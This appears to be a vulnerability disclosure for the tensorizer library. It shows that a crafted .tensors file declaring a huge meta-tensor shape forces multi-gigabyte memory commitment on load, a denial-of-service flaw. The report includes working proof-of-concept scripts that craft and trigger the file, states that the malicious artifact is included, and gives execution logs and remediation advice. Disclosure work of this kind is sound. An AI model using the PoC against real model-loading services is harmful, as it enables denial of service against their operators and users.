YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Uncontrolled memory allocation via meta-tensor shape: forced eager zero-fill in TensorDeserializer (CWE-789 / CWE-400 DoS)
Target: tensorizer (coreweave/tensorizer)
Affected version verified: 2.12.1 (PyPI, unpatched, no source modification)
Environment used for verification: torch 2.12.1+cpu, numpy 2.5.1, Python 3.13, Linux
Vulnerable file: tensorizer/serialization.py
Class: CWE-789 Memory Allocation with Excessive Size Value / CWE-400 Uncontrolled Resource Consumption (Denial of Service)
Attack surface: deserialization of an untrusted .tensors model file (the primary use case of TensorDeserializer).
Summary
A crafted tensorizer model file that declares a single META tensor (data version 4,
"metadata-only" tensor) with an attacker-chosen, unbounded shape forces
TensorDeserializer to eagerly allocate AND zero-fill a CPU buffer whose size is
itemsize * prod(shape). Because the on-disk data_length for a meta tensor is 0, the
declared size is taken entirely from the metadata shape field β there is no bound and no
relationship to the actual file size. The crafted file is a few hundred kilobytes on disk yet
drives multi-gigabyte real (committed) RAM usage, sustained memory thrash, or a hard OOM/crash
depending on the declared shape.
Amplification measured: a 262,302-byte file commits 7.685 GiB of physical RAM (~30,000x).
Root cause
Meta-tensor size is derived purely from the attacker-controlled shape when data_length == 0
(serialization.py, TensorEntry.deserialized_length, lines 226-232):
@property
def deserialized_length(self):
if self.data_length > 0:
return self.data_length
element_size: int = numpy.dtype(self.dtype).itemsize
num_elements: int = numpy.prod(self.shape) # <-- attacker-controlled, unbounded
return element_size * num_elements
In the per-tensor bulk-load loop (serialization.py, TensorDeserializer._bulk_load, lines 3135-3153):
needed_buffer_size = tensor_sizes_by_name[header.name] # == deserialized_length
is_meta = needed_buffer_size > 0 and header.data_length == 0
assert is_meta or needed_buffer_size == header.data_length
...
# Not in CUDA, no pinned memory. Allocate a new buffer for each tensor
buffer_tensor = torch.empty(
(needed_buffer_size,), device="cpu", dtype=torch.uint8
)
if is_meta:
buffer_tensor.zero_() # <-- forces REAL physical commitment
mv: memoryview = buffer_tensor.numpy().data.cast("B")
Why the is_meta branch is the genuine exhaustion primitive:
torch.empty((needed_buffer_size,), ...)on its own is lazy β it reserves uncommitted virtual address space, so RSS does not grow. (This is exactly why the ordinarydata_lengthpath is harmless:readintowrites only the bytes actually present in the file.)- The
is_metabranch then callsbuffer_tensor.zero_(), which writes zeros across the entire buffer, faulting in every page and forcing real physical commitment ofitemsize * prod(shape)bytes.
A torch meta-device tensor of any shape costs zero real memory to construct and serialize,
so the attacker can declare an arbitrarily large shape in a tiny file. lazy_load defaults to
False, so a plain TensorDeserializer(path, device="cpu") bulk-loads (and thus zero-fills)
every tensor at construction time β no explicit indexing required to trigger the commit.
Proof of Concept
All three PoC files are included in this repo.
Craft β make_meta.py (uses the genuine, unmodified TensorSerializer)
import sys, os, torch
from tensorizer import TensorSerializer
from tensorizer.serialization import TensorType
elements = int(sys.argv[1]) # float32 elements; declared bytes = elements*4
out = sys.argv[2]
# meta-device tensor allocates NO real memory regardless of shape
t = torch.empty((elements,), dtype=torch.float32, device="meta")
print("is_meta:", t.is_meta, "shape:", tuple(t.shape), "declared_bytes:", elements*4, flush=True)
ser = TensorSerializer(out)
ser.write_tensor(0, "evil", TensorType.PARAM, t)
ser.close()
print("file_size_on_disk:", os.path.getsize(out), flush=True)
python make_meta.py 2000000000 evil_meta_8gib.tensors -> declares 8,000,000,000 bytes,
produces a 262,302-byte file.
Trigger β load_child.py (default load path, RSS instrumented)
import sys, os, resource, threading, time
import torch
from tensorizer import TensorDeserializer
path = sys.argv[1]
# ... /proc/self/status VmRSS peak monitor thread ...
d = TensorDeserializer(path, device="cpu") # lazy_load defaults False -> bulk-load now
tensor = d["evil"]
print("loaded shape:", tuple(tensor.shape), "nbytes:", tensor.element_size()*tensor.nelement())
print("first/last elem:", float(tensor.view(-1)[0]), float(tensor.view(-1)[-1])) # proves real+zeroed
Included PoC artifact: evil_meta_8gib.tensors
(262,302 bytes; sha256 279c2ef6e8530a4714ccbe2f179fad56ef6079bda1e1d223c2b893345ca213f1).
Captured evidence (verbatim, real execution this session)
$ python load_child.py evil_meta_8gib.tensors
baseline_rss_kb: 241404
loaded shape: (2000000000,) nbytes: 8000000000
first/last elem: 0.0 0.0
elapsed_s: 5.995
peak_rss_kb: 8058696
peak_rss_gib: 7.685
--- negative control (torch lazy-vs-zero_) ---
start MiB 218
after empty(8GB) MiB 218 # lazy torch.empty == the dismissed data_length path
after zero_() MiB 7849 # is_meta branch forces real commit
--- 40 GB refusal (upper bound) ---
baseline_rss_kb: 241360
EXCEPTION: RuntimeError [enforce fail at alloc_cpu.cpp:127] err == 0. DefaultCPUAllocator: can't allocate memory: you tried to allocate 40000000000 bytes. Error code 12 (Cannot allocate memory)
elapsed_s: 0.084
--- craft (genuine TensorSerializer) ---
is_meta: True shape: (2000000000,) declared_bytes: 8000000000
file_size_on_disk: 262302
Additional observed points:
- 8 GB file (262,302 bytes on disk): peak RSS 7.685 GiB, ~6 s, elements read back as
0.0(buffer is real and zeroed). Amplification ~30,000x. - 28 GB file (262,306 bytes) on a 31 GiB no-swap host: sustained memory-pressure/thrash; process had to be killed after a >2 min hang β availability DoS.
- 40 GB file: clean caught
RuntimeErrorfromalloc_cpu.cpp(allocator refusal). The value is attacker-tunable across the whole spectrum from silent multi-GB commit up to hard OOM/crash.
Negative control (isolates the distinguishing cause)
In a single process, torch.empty((8e9,), uint8) leaves RSS flat at 218 MiB (lazy β exactly
the behavior that made the data_length variant a NEGATIVE result), then .zero_() on the same
tensor jumps RSS to 7,849 MiB. This proves the is_meta .zero_() β not the torch.empty
allocation itself β is what turns a declared shape into committed physical memory.
Impact
Loading a small untrusted .tensors file with the default TensorDeserializer API commits
attacker-controlled amounts of physical RAM. Depending on the declared shape this yields silent
multi-GB memory commitment, sustained thrash/hang, or an OOM condition β a denial of service on
any service that deserializes user-supplied tensorizer files (e.g. model-loading pipelines).
Suggested remediation
- Validate
deserialized_length(i.e.itemsize * prod(shape)) against a configurable ceiling and/or against available memory before allocating the buffer for a meta tensor. - For meta tensors, avoid materializing a real zeroed buffer at all β a meta tensor carries no
data; construct it on the
metadevice (or defer allocation) instead oftorch.empty(...).zero_(). - Reject files whose declared meta-tensor size is wildly disproportionate to the file size.
Dedup note (distinct from all prior tensorizer work)
- Prior FILED bug β
EnigmaConsultant/tensorizer-unbounded-alloc(private) /huntr-r3-tensorizer(public):bytearray(header_len)eager allocation in_TensorHeaderDeserializer.from_io(line 646) β a different field (header_len, uint64), different function, different mechanism (bytearray zero-fill). - Prior NEGATIVE β per-tensor
data_length(fresh-sweep-tensorizer/datalen-poc): dismissed because that path uses lazytorch.emptywith no zeroing (readintowrites only the file's actual bytes). - THIS bug is driven by the metadata
shape(numpy.prod(shape) * itemsize) of a version-4 META tensor withdata_length == 0, and reaches theis_metabranch atserialization.pyline 3150 that callsbuffer_tensor.zero_(), forcing real commitment β the exact factor thedata_lengthnegative lacked. Different field (shape dims), different code path (meta/hollow branch), different mechanism (forced.zero_()).
No known CVE covers the meta-tensor shape path. No HF repo (public or private) covers it.